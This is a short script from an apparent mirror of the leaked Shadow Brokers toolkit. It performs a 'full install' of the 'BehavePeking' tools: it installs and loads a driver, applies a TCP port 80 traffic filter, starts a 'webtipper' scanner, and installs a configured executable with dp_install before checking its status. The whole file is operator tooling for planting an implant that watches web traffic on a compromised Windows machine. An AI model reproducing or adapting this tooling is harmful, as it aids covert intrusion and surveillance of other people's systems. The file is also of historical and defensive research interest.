shadowbrokers-exploits/windows/Resources/Ep/Scripts/BehavePeking/FullInstall.eps
2017-04-14 11:45:07 +02:00

85 lines
1.9 KiB
PostScript

#--------------------------------------------------------
# File: StandardInstall
#
# Performs a standard install of the BehavePeking tools
#
# Modifications:
# 29 Aug 2005 Created.
#--------------------------------------------------------
@echo off;
if (($argc < 2) || ($argc > 3)) {
echo "Usage: $argv[0] <driverName> [localExe]";
return false;
}
string $driver = $argv[1];
string $localExe;
if ($argc > 2) {
$localExe = $argv[2];
}
# perform the install
ifnot (`script InstallDriver.eps $driver`) {
return false;
}
# load the driver
echo "Loading the $driver driver";
if (`driverload -name $driver`) {
echo " SUCCESS";
} else {
echo " FAILED";
return false;
}
# set the filter
ifnot (`script SetFilter.eps $driver tcp_port80_data.filt`) {
return false;
}
# start scanning
echo "Starting scanning";
if (`webtipper -name $driver -control start`) {
echo " SUCCESS";
} else {
echo " FAILED";
return false;
}
# configure the exe (if necessary)
if ((defined($localExe) == false) || (strlen($localExe) == 0)) {
@record on;
if (`script BehavePeking\\ConfigureExe.eps`) {
$localExe = GetCmdData("file");
SetCmdData(STRING, "file", $localExe);
} else {
return false;
}
@record off;
}
# install the exe driver
@echo on;
echo "\r\n\r\n";
ifnot (`dp_install $localExe 1`) {
return false;
}
echo "";
echo "Waiting for exe to start";
Sleep(5000);
# show status
`dp_status`;
`script GetStatus.eps $driver`;
echo "";
echo "NOTE: If the status listed above does not show the executable as running,";
echo " wait until 'dp_status' show the exe as running. At that point run";
echo " 'script BehavePeking\\GetStatus.eps $driver' to determine whether";
echo " the exe has registered as expected.";
echo "";
return true;